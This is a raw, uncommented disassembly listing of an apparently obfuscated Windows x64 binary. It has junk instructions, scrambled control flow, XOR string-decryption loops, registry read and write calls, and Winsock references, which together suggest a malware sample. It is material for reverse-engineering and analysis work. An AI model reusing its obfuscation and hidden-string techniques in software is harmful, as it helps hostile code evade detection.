jmp 0x1400258bf
mov r15, r15
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x140025967
xchg r12, r12
lea rax, [rbp - 8]
xor r9d, r9d
xor r8d, r8d
xchg r11, rax
mov qword [rsp + 0x20], r11
jmp 0x14002634f
add eax, 0xac9461
xor eax, 0x46e26172
add eax, 0x62d21630
lea r9, [r9 + 2]
mov dword [rsp - 0x2c], 0x74317380
jmp 0x14002647e
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
jmp 0x1400266b8
xchg rdi, rdi
nop
sub r8d, 0x6903e384
add r8d, 0x6903e38c
pmuldq xmm1, xmm4
xchg r10, r10
shufps xmm1, xmm0, 0xdd
jmp 0x14002652d
mov dword [rsp - 0x14], 0x1bb6305a
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x24], esp
jmp 0x140025a63
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg r12, r12
jmp 0x140025a79
mov dword [rsp - 0x14], 0x3838880f
movd xmm8, r15d
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
mov dword [rsp - 0x18], edx
jmp 0x14002675b
nop
add r8d, 0x376fea6a
sub r8d, 0x376fea62
pmuldq xmm1, xmm4
mov dword [rsp - 0x38], edi
jmp 0x140025b97
jge 0x1400262f7
movsxd rax, r8d
lea r9, [rsp + 0x40]
xchg r10, r10
lea r9, [r9 + rax*2]
jmp 0x14002685a
sub al, cl
mov dword [rsp - 0xc], esi
add al, 0x66
sub al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jmp 0x1400263b9
mov dword [rsp - 0x14], ecx
movdqa xmm7, xmmword [str.3333]
movdqa xmm9, xmmword [0x14010c2f0]
jmp 0x140026905
mov r8, r8
shr eax, 5
shr eax, 4
shr eax, 0x10
shr eax, 1
jmp 0x1400264eb
punpckldq xmm1, xmm2
mov dword [rsp - 0x44], 0x767a748d
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
jmp 0x140025cd4
psrld xmm0, xmm8
xchg rsp, rsp
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x30], 0x302ea2bd
pshuflw xmm0, xmm2, 0xd8
jmp 0x140025658
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov rsp, rsp
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140025deb
jl 0x140026893
lea rcx, [rsp + 0x40]
call fcn.1400a1310
mov dword [rsp - 0xc], esp
jmp 0x140026a2a
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
mov r8, r8
pmulld xmm0, xmmword [str.3333]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14002627c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp - 0x10], 0x256b687
test eax, eax
jmp 0x1400256f3
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
mov dword [rsp - 0x34], 0x50dfa035
cmp r8d, 0x18
jl 0x140026981
jmp 0x140026104
inc r8d
sub al, cl
sub al, 0xce
xor byte [r10 - 1], al
mov dword [rsp - 0x38], esi
cmp r8d, 0x57
jl 0x1400266a9
jmp 0x140025485
movd dword [rbp + 4], xmm2
mov dword [rsp - 0x10], 0x2d03b930
jmp 0x140026cd3
add edx, r8d
sar edx, 3
sar edx, 1
jmp 0x1400255ca
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
mov rdx, rdx
pmuldq xmm0, xmm4
nop
jmp 0x140026435
xchg r10, rsp
movups xmm0, xmmword [0x14010cb10]
mov r9, r9
mov dword [rbp - 0x70], eax
movzx eax, word [0x14010cb44]
jmp 0x1400259ce
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg r8, r8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140026337
mov dword [rsp - 0x30], esp
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov dword [rsp - 0x38], 0x1f486e14
pshufd xmm2, xmm1, 0xd8
jmp 0x140025548
xor eax, 0x34bcc337
sub eax, 0x25df4ca2
add eax, 0x3f442bed
sub eax, 0x98e6bd6
xor eax, 0xcf5f7cbd
lea r9, [r9 + 1]
mov r9, r9
jmp 0x140025c49
mov rbx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jmp 0x140026a64
xor dword [rsp + 0x28], 0x116369ea
add dword [rsp + 0x28], 0x32018202
add dword [rsp + 0x28], 0x1d6d0647
sub dword [rsp + 0x28], 0x204b8b4f
sub dword [rsp + 0x28], 0x5ce294ba
lea rdx, [rsp + 0x40]
mov r9d, 0x1f19083b
jmp 0x1400254a2
mov dword [rsp - 0x34], ebp
pand xmm2, xmmword [0x14010c300]
movd xmm1, dword [rbp + 4]
jmp 0x140026a78
xchg rsp, rdi
mov dword [rsp + 0x58], eax
je 0x14002573d
mov dword [rsp - 0x1c], esi
mov r8d, ebx
cmp edi, 2
jl 0x140026116
jmp 0x140026454
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp - 0x2c], 0x19ec429e
pushf
mov dword [rbp - 8], 0x64391cdd
jmp 0x140025428
shr eax, 1
shr eax, 1
add edx, eax
movsx eax, dl
jmp 0x1400264d3
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x18], 0x2403666
pmuldq xmm0, xmm4
jmp 0x140025532
xchg rsp, r15
mov dword [rbp - 8], ebx
pushf
mov dword [rbp + 8], 0x54a3f239
add dword [rbp + 8], 0x1654bac
add dword [rbp + 8], 0x6a2317d
jmp 0x1400261b1
xchg rbp, rbp
sub ax, 0x725b
add ax, 0x728d
xor word [r9 - 2], ax
cmp r8d, 0x1b
xchg rbx, rbx
jl 0x140026862
jmp 0x1400262f7
add ax, 0x391a
xor word [r9 - 2], ax
cmp r8d, 0x1b
mov rcx, rcx
jmp 0x140025e2f
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x38], esp
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
jmp 0x14002639e
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x10], 0x29ca806a
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
jmp 0x140025afa
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
mov dword [rsp - 0x10], esp
pmuldq xmm0, xmm4
jmp 0x140025d4e
cmp r8d, 0x1c
mov dword [rsp - 0x28], 0x1aa872
jge 0x14002573d
movsxd rax, r8d
lea r9, [rsp + 0x40]
jmp 0x14002677f
movq xmm0, qword [rcx - 8]
xchg rdx, rdx
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
jmp 0x140026569
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov r15, r15
pmuldq xmm0, xmm4
jmp 0x140025e12
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
jmp 0x140026123
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x20], 0x3c432cfd
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
mov dword [rsp - 0x18], esp
jmp 0x140026617
xor eax, 0x6482e2b2
xor eax, 0x61c64f2
sub eax, 0x26079d85
add eax, 0x84e6c1c3
lea r10, [r10 + 1]
jmp 0x140026201
add dword [rbp + 8], 0x192140e8
xor dword [rbp + 8], 0x7331bdbf
add dword [rbp + 8], 0x680a6069
jmp 0x140025674
pshufd xmm2, xmm1, 0xd8
mov r9, r9
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x10], 0x7e116c4f
jmp 0x140025b6b
imul r8d
add edx, r8d
sar edx, 5
mov r14, r14
jmp 0x14002670a
xchg r10, r10
imul r8d
add edx, r8d
sar edx, 3
sar edx, 1
sar edx, 1
mov eax, edx
jmp 0x140026a1c
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
mov dword [rsp - 0x10], 0x239c833f
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x14002590d
cmp byte [0x14010ca8b], bl
mov dword [rsp - 0x34], edx
movups xmm0, xmmword [0x14010ca70]
mov eax, dword [0x14010ca88]
movsd xmm1, qword [0x14010ca80]
jmp 0x1400265d1
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
mov dword [rsp - 0x18], ebx
movd xmm8, r15d
nop word [rax + rax]
jmp 0x1400267b3
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x20], 0x55a36629
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
jmp 0x140025a20
movups xmm0, xmmword [0x14010ca58]
xchg rsp, rdx
movups xmmword [rdx + 0x50], xmm1
xchg rdx, rsp
jmp 0x1400255fd
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg rsi, rsi
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
jmp 0x14002616a
movsxd rax, r8d
lea r9, [rsp + 0x40]
mov rbp, rbp
add r9, rax
nop dword [rax]
jmp 0x1400255e4
movups xmm1, xmmword [0x14010cb00]
xchg rsp, r10
movups xmmword [r10 + 0x40], xmm0
jmp 0x140025efe
lea rcx, [rsp + 0x40]
call fcn.1400a1310
xchg rsi, rsi
mov sil, 0x4a
xor sil, 0x69
jmp 0x14002671d
mov qword [rsp + 0x20], rax
mov dword [rsp - 0x1c], 0x5e6cbf34
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140026304
mov dword [rsp - 0x20], ecx
jmp 0x140025ab6
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x2c], ebx
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
jmp 0x1400257f5
xchg r11, rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rsp - 0x2c], 0x4dbfebbd
test eax, eax
jne 0x140025754
cmp dword [rbp - 8], 3
mov rbp, rbp
jmp 0x14002574e
xchg rsp, rdi
movups xmmword [rdi + 0x60], xmm0
xchg rsp, rdi
cmp edi, 2
mov dword [rsp - 0x24], ebp
jmp 0x140025450
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg rsi, rsi
paddd xmm0, xmm1
jmp 0x140025b81
mov dword [rsp - 0x14], esi
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140025f3c
mov r9, r9
jl 0x1400255e4
xchg r13, rcx
jmp 0x1400269e0
movdqa xmm0, xmm1
mov dword [rsp - 0x1c], 0x49b00e57
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov r11, r11
psubd xmm2, xmm0
jmp 0x1400262b1
mov dword [rsp + 0x58], eax
je 0x1400263c2
mov r8d, ebx
mov dword [rsp - 0x1c], ebx
jmp 0x140025639
xchg rcx, rax
mov qword [rsp + 0x28], rcx
xchg rcx, rax
lea rdx, [rsp + 0x40]
jmp 0x140025c87
movups xmm0, xmmword [0x14010ca38]
movups xmm1, xmmword [0x14010ca48]
mov dword [rsp - 0x14], esi
movups xmmword [rsp + 0x40], xmm0
jmp 0x14002629b
add r8d, 0x3f171e00
sub r8d, 0x3f171df8
pmuldq xmm1, xmm4
mov r14, r14
shufps xmm1, xmm0, 0xdd
jmp 0x140025aa5
movdqa xmm0, xmmword [0x14010c310]
mov dword [rsp - 0x24], 0x6034b72e
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d430]
jmp 0x140025b4b
imul r8d
add edx, r8d
sar edx, 3
sar edx, 1
sar edx, 1
mov eax, edx
jmp 0x140025db6
movups xmm1, xmmword [0x14010cb20]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x14010cb46]
mov rsi, rsi
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
jmp 0x1400268a7
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
xchg r13, r13
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jmp 0x140025a46
mov rsi, rsi
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
mov dword [rsp - 0x14], esi
jmp 0x14002592b
shr eax, 2
shr eax, 3
add edx, eax
jmp 0x140026871
jl 0x140025d3c
cmp r8d, 0x1b
mov dword [rsp - 0x2c], 0x14733a01
jge 0x140025e35
movsxd rax, r8d
lea r9, [rsp + 0x40]
jmp 0x140026883
shr edx, 2
shr edx, 1
movsx eax, dl
imul ecx, eax, 0x33
jmp 0x1400268c8
paddd xmm1, xmm2
psrad xmm1, xmm6
mov dword [rsp - 0x20], 0x7f3cd9ee
movdqa xmm0, xmm1
jmp 0x140025d14
lea rdx, [rsp + 0x40]
nop
movabs rcx, 0xffffffff0e948000
add rcx, 0x3090368f
sub rcx, 0x2ac7821a
jmp 0x140025829
movq qword [rcx - 8], xmm3
mov dword [rsp - 0x2c], 0x78593d8a
cmp r8d, 0x18
jmp 0x1400264f8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x18], 0x3c26045d
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov r14, r14
packuswb xmm2, xmm2
jmp 0x140025613
xor r9d, 0x70d006c
add r9d, 0x1c511354
sub r9d, 0x17f03b8e
sub r9d, 0x1ddae821
sub r9d, 0x1ace6191
jmp 0x140026310
mov dword [rsp - 0x40], ecx
xchg rsp, r15
movups xmmword [r15 + 0x40], xmm0
jmp 0x140026054
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x28], 0x634a657
lea rcx, [rcx + 0x10]
jmp 0x140026746
xor r9d, 0x217f871e
sub r9d, 0x6ac4e069
mov qword [rsp + 0x20], rax
xor r8d, r8d
jmp 0x140025f89
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
mov dword [rsp - 0x24], ebx
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x1400260ad
add eax, 0x14c3117f
add eax, 0x29bd56fc
sub eax, 0x15dd93
add eax, 0x617c9b8b
lea r9, [r9 + 2]
mov dword [rsp - 0x18], edi
imul r8d
jmp 0x140025ed3
movdqa xmm4, xmmword [0x14010d430]
movdqa xmm0, xmm2
mov rcx, rcx
mov eax, dword [0x14010c310]
punpckhdq xmm0, xmm2
jmp 0x1400256d8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov r10, r10
paddd xmm1, xmm2
psrad xmm1, xmm6
jmp 0x140026389
mov dword [rsp - 0x38], 0x3927d881
lea r10, [rsp + 0x40]
add r10, rax
nop dword [rax]
mov eax, 0x24762881
sub eax, 0x1162e5e
jmp 0x140026194
paddw xmm3, xmm2
mov r10, r10
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
xchg r9, r9
jmp 0x140025c5c
xchg r12, rsp
movups xmmword [r12 + 0x50], xmm1
xchg r12, rsp
jmp 0x140026373
add r9d, 0x9e188c7
add r9d, 0x2f885540
sub r9d, 0x676aa04f
xor r8d, r8d
mov qword [rsp + 0x20], rax
xchg rbp, rbp
jmp 0x140026546
mov eax, edx
shr eax, 3
shr eax, 3
shr eax, 0x14
shr eax, 3
jmp 0x140026024
xor sil, 0x24
sub sil, 7
add sil, 0x51
sub sil, 0x50
jmp 0x140026236
add eax, 0x18bb60be
add eax, 0x1151ba09
sub eax, 0xbadac8c
jmp 0x140026793
paddd xmm2, xmm5
sub r8d, 0xfffffff8
mov dword [rsp - 0x1c], 0x3f8d5bf9
jmp 0x140026032
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
jmp 0x140025c0a
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
jmp 0x140025dc9
add r9, rax
mov rsi, rsi
nop dword [rax]
mov eax, 0xa4010fb
jmp 0x140026732
add eax, 0x4654c3b3
sub eax, 0x69b0a5eb
add eax, 0x9b5d03a3
lea r9, [r9 + 1]
mov dword [rsp - 0x40], 0x59851804
jmp 0x1400261f0
movd xmm2, r8d
mov dword [rsp - 0x14], 0x22a62bbb
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
mov r10, r10
jmp 0x14002676d
mov rdx, rdx
pushf
mov dword [rbp + 8], 0x2dab107f
sub dword [rbp + 8], 0x1f77428b
add dword [rbp + 8], 0x60b20e8
add dword [rbp + 8], 0x4ae8c8c4
xor dword [rbp + 8], 0x2c3f263b
jmp 0x1400268e0
mov eax, edx
shr eax, 0x14
shr eax, 8
shr eax, 2
shr eax, 1
add edx, eax
movsx eax, dl
jmp 0x1400269f8
shr eax, 5
shr eax, 2
shr eax, 5
shr eax, 2
add edx, eax
movzx eax, dx
jmp 0x140025858
movups xmm0, xmmword [0x14010cab0]
xchg rbp, rbp
movups xmm1, xmmword [0x14010cac0]
xchg rsi, rsp
movups xmmword [rsi + 0x40], xmm0
xchg rsi, rsp
movups xmm0, xmmword [0x14010cad0]
jmp 0x1400266d4
nop dword [rax + rax]
mov eax, 0x16c4c167
xor eax, 0x167dbb49
jmp 0x14002663a
movzx eax, dx
xchg r12, r12
imul ecx, eax, 0x33
movzx eax, r8w
jmp 0x140025991
lea r9, [r9 + rax*2]
mov rcx, rcx
nop word [rax + rax]
mov eax, 0x712196ba
sub eax, 0x2014cb57
add eax, 0x29738b3f
jmp 0x140025ca0
mov byte [rbp - 0x6a], al
cmp edi, 2
xchg rdi, rdi
jl 0x1400254fd
movdqa xmm0, xmmword [0x14010c310]
lea rcx, [rsp + 0x44]
jmp 0x14002593b
movzx eax, r8b
mov dword [rsp - 0x44], ecx
inc r8d
sub al, cl
neg al
add al, 0xce
neg al
jmp 0x1400258af
sub dword [rbp + 8], 0x7648358
xor dword [rbp + 8], 0x1be695d0
sub dword [rbp + 8], 0x70529b8f
popf
je 0x140026cd3
mov r8d, ebx
jmp 0x140025505
movd xmm6, r14d
mov dword [rsp - 0x30], ebx
movd xmm8, r15d
movd xmm2, r8d
jmp 0x1400265e2
mov rcx, qword [rbp - 0x10]
mov dword [rsp - 0x44], 0x3e2161f8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x14010caf0]
mov r8d, ebx
mov dword [rsp - 0x10], ecx
mov eax, dword [0x14010cb40]
jmp 0x1400262e3
jl 0x140025d71
movdqa xmm5, xmmword [0x14010c2c0]
lea rcx, [rsp + 0x40]
movdqa xmm4, xmmword [0x14010d430]
jmp 0x140025d9c
mov dword [rsp - 0x24], 0x1f62dc4f
movd xmm8, r15d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
mov r8, r8
lea eax, [r8 + 4]
jmp 0x140026218
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x3c], 0x43b3668d
packuswb xmm2, xmm2
jmp 0x1400264b5
mov dword [rsp + 0x28], 0x5b8291ad
xor dword [rsp + 0x28], 0xa0d3a28
xor dword [rsp + 0x28], 0xdd54f7
sub dword [rsp + 0x28], 0x32d2a0f
xor dword [rsp + 0x28], 0x142d915d
add dword [rsp + 0x28], 0xcaa4ea2
jmp 0x1400258d8
mov r13, qword [rbp - 0x10]
xchg r13, rcx
lea rax, [rbp - 8]
mov dword [rsp + 0x28], 0x4906b1c6
jmp 0x140025468
imul ecx, eax, 0x33
xchg r10, r10
movzx eax, r8b
inc r8d
jmp 0x140025d85
mov dword [rsp - 0x28], esi
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x140025b15
shr eax, 0x19
shr eax, 2
shr eax, 3
jmp 0x14002556a
mov sil, WSAStartup
sub sil, 0x66
xor sil, 0x12
xor sil, 0x15
sub sil, 9
add sil, 0x5e
sub sil, 0x60
jmp 0x14002691d
mov dword [rsp - 0x34], 0x359c1513
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x140026a0a
je 0x140026a2a
mov rbp, rbp
mov eax, dword [0x14010cae0]
jmp 0x140025c1d
packuswb xmm2, xmm2
mov dword [rsp - 0x3c], 0x57450f94
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
jmp 0x140025ec1
lea r9, [rbp]
nop dword [rax + rax]
xchg r14, r14
jmp 0x140026b70
sub al, cl
mov dword [rsp - 0x18], 0x1ac0e8eb
sub al, 0xee
add al, 0x20
xor byte [r9 - 1], al
cmp r8d, 8
jmp 0x140026cc5
lea r9, [r9 + 1]
mov dword [rsp - 0x18], esi
mul r8d
jmp 0x140026be9
mov dword [rsp - 0x24], ecx
movzx eax, r8b
inc r8d
jmp 0x140026aa6
mov rbp, rbp
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
xchg r11, r11
pmuldq xmm0, xmm4
jmp 0x140026bbe
movd xmm1, dword [rbp + 4]
packuswb xmm2, xmm2
movd xmm0, eax
mov dword [rsp - 0x10], esi
paddb xmm2, xmm0
jmp 0x140026bd8
mov rbp, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140026d30
mov dword [rsp - 0x1c], edi
cmp dword [rbp - 8], ebx
jmp 0x140026d2a
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
movd xmm1, dword [rbp]
mov r10, r10
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
jmp 0x140026ae1
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
jmp 0x140026c73
mov eax, 0x4cbbbd1c
sub eax, 0x3950059f
add eax, 0x264f7ee0
sub eax, 0x27569798
add eax, 0xeaadea4
add eax, 0x3341d03f
xor eax, 0xf4f1ed09
jmp 0x140026ac1
cmp edi, 2
jl 0x140026d42
movdqa xmm2, xmmword [0x14010c2c0]
mov dword [rsp - 0x24], esi
movdqa xmm3, xmmword [0x14010c2d0]
movdqa xmm1, xmm2
jmp 0x140026c1e
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
xchg rsi, rsi
movd dword [rbp], xmm2
jmp 0x140026ceb
pxor xmm2, xmm1
movd dword [rbp + 4], xmm2
mov rdi, rdi
jmp 0x14002729a
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
jmp 0x140026ad1
psubd xmm3, xmm0
xchg r15, r15
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x20], esi
pand xmm2, xmmword [0x14010c300]
jmp 0x140026afd
movdqa xmm4, xmmword [0x14010d430]
movdqa xmm0, xmm2
mov dword [rsp - 0x10], 0x1c0dfcc7
mov eax, dword [0x14010c310]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov r8, r8
jmp 0x140026c8c
mov r9, r9
lea rdx, [rbp]
lea rax, [rbp - 8]
xor r9d, r9d
xor r8d, r8d
jmp 0x140026b17
xchg r14, r14
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.3333]
jmp 0x140026bf7
mov dword [rsp - 0x28], 0x8f5ce12
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
jmp 0x140026d07
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, r15d
mov dword [rsp - 0x24], ecx
jmp 0x140026b5f
mov r12, r12
mov qword [rbp], rax
mov dword [rbp - 8], ebx
je 0x14002729a
mov r8d, ebx
mov dword [rsp - 0x14], esp
jmp 0x140026b98
mov dword [rsp - 0x34], 0xdabd743
jl 0x140026b70
xchg rcx, rbx
mov rbx, qword [rbp - 0x10]
xchg rcx, rbx
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
jmp 0x140026c48
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
mov r8, r8
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
jmp 0x140026c5e
mov dword [rsp - 0x10], edx
pmulld xmm0, xmmword [str.3333]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
xchg rdx, rdx
jmp 0x140026b39
je 0x140027c44
cmp byte [0x14010cb57], bl
mov rax, qword [0x14010cb50]
jmp 0x140026ca9
lea r10, [rbp]
mov r8, r8
mov eax, 0x5da86b59
sub eax, 0x38853dfd
add eax, 0x3d3e17ce
xor eax, 0x716753b7
xor eax, 0x44c1e462
jmp 0x140027c99
psubd xmm2, xmm0
mov rdi, rdi
pshuflw xmm0, xmm2, 0xd8
jmp 0x140027252
movsx eax, dl
imul ecx, eax, 0x33
xchg r9, r9
movzx eax, r8b
jmp 0x1400271d4
mov dword [rsp - 0x14], 0x7b58a39a
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x40], esi
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
jmp 0x140027b7a
mov eax, edx
shr eax, 0x14
shr eax, 2
shr eax, 1
shr eax, 2
jmp 0x140027b6b
movd xmm8, r15d
nop word [rax + rax]
movd xmm2, r8d
mov rbp, rbp
lea eax, [r8 + 4]
jmp 0x140027042
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov dword [rsp - 0x44], esp
jmp 0x1400278fe
mov rax, qword [rcx + 0xa0]
lea rdx, [rsp + 0x40]
lea rdx, [rdx + 0x80]
xchg rcx, r12
movups xmm0, xmmword [r12]
jmp 0x140026f48
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
jmp 0x140027314
neg r8d
add r8d, 0xfffffff8
neg r8d
pmuldq xmm1, xmm4
jmp 0x140027631
call fcn.1400a1310
mov sil, reloc.WS2_32.dll_recv
xor sil, 0x79
add sil, 9
sub sil, 0x5c
add sil, 0x1f
sub sil, 0x34
jmp 0x140027c44
shr eax, 0x1a
shr eax, 2
shr eax, 2
jmp 0x1400271ba
pxor xmm2, xmm0
movdqa xmm0, xmm3
mov dword [rsp - 0x1c], 0x76fe88d3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x140027752
xchg r11, r11
paddd xmm2, xmm5
neg r8d
jmp 0x1400276b5
movups xmmword [r10], xmm1
xchg rdx, r10
movups xmmword [rdx + 0x10], xmm0
mov qword [rdx + 0x20], rax
jmp 0x140027c5e
sub eax, 0x51ccedf0
add eax, 0x1d935f57
sub eax, 0xfc92d4b
jmp 0x140027ba2
mov rcx, rcx
nop word [rax + rax]
movd xmm2, ebx
jmp 0x1400272bd
lea r10, [r10 + 1]
mul r8d
mov dword [rsp - 0x30], 0x76d448e5
shr edx, 3
shr edx, 1
shr edx, 1
jmp 0x140026d78
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
mov dword [rsp - 0x38], esp
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x1400273ad
call fcn.1400dce30
lea r11, [rsp + 0x160]
mov r12, r12
mov rbx, qword [r11 + 0x28]
xchg rbx, rdi
jmp 0x1400278eb
mov rdi, rdi
paddd xmm3, xmm5
pmuldq xmm0, xmm4
jmp 0x140026e2f
xchg r12, rcx
xchg rcx, r10
movups xmm1, xmmword [r10 + 0x10]
xchg rcx, r10
jmp 0x140027331
add ebx, 0xfffffff8
neg ebx
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov rbp, rbp
psrad xmm1, xmm6
jmp 0x1400272f6
sar edx, 3
sar edx, 1
sar edx, 1
jmp 0x140026db5
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
mov dword [rsp - 0x28], ebp
movdqa xmm0, xmm1
jmp 0x1400270f8
xor r9d, 0x5fcc1634
xor r9d, 0x12110027
xor r9d, 0x7d177f53
xor r9d, 0x675f58ca
xor r9d, 0x2f8734c5
xchg rcx, rax
jmp 0x140027815
mov dword [rsp - 0xc], ebx
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
xchg r11, r11
pmuldq xmm1, xmm4
movd xmm0, edx
jmp 0x140027511
xchg rsi, rcx
movups xmm1, xmmword [rsi + 0x30]
xchg rcx, rsi
xchg r10, rdx
movups xmmword [r10 - 0x60], xmm0
xchg rdx, r10
xchg r8, rcx
jmp 0x140027bbe
movups xmmword [r12 + 0x40], xmm0
xchg r12, rsp
xchg rsp, r9
movups xmmword [r9 + 0x50], xmm1
jmp 0x14002707f
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140026d8a
mov rbp, qword [rsp - 8]
ret
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
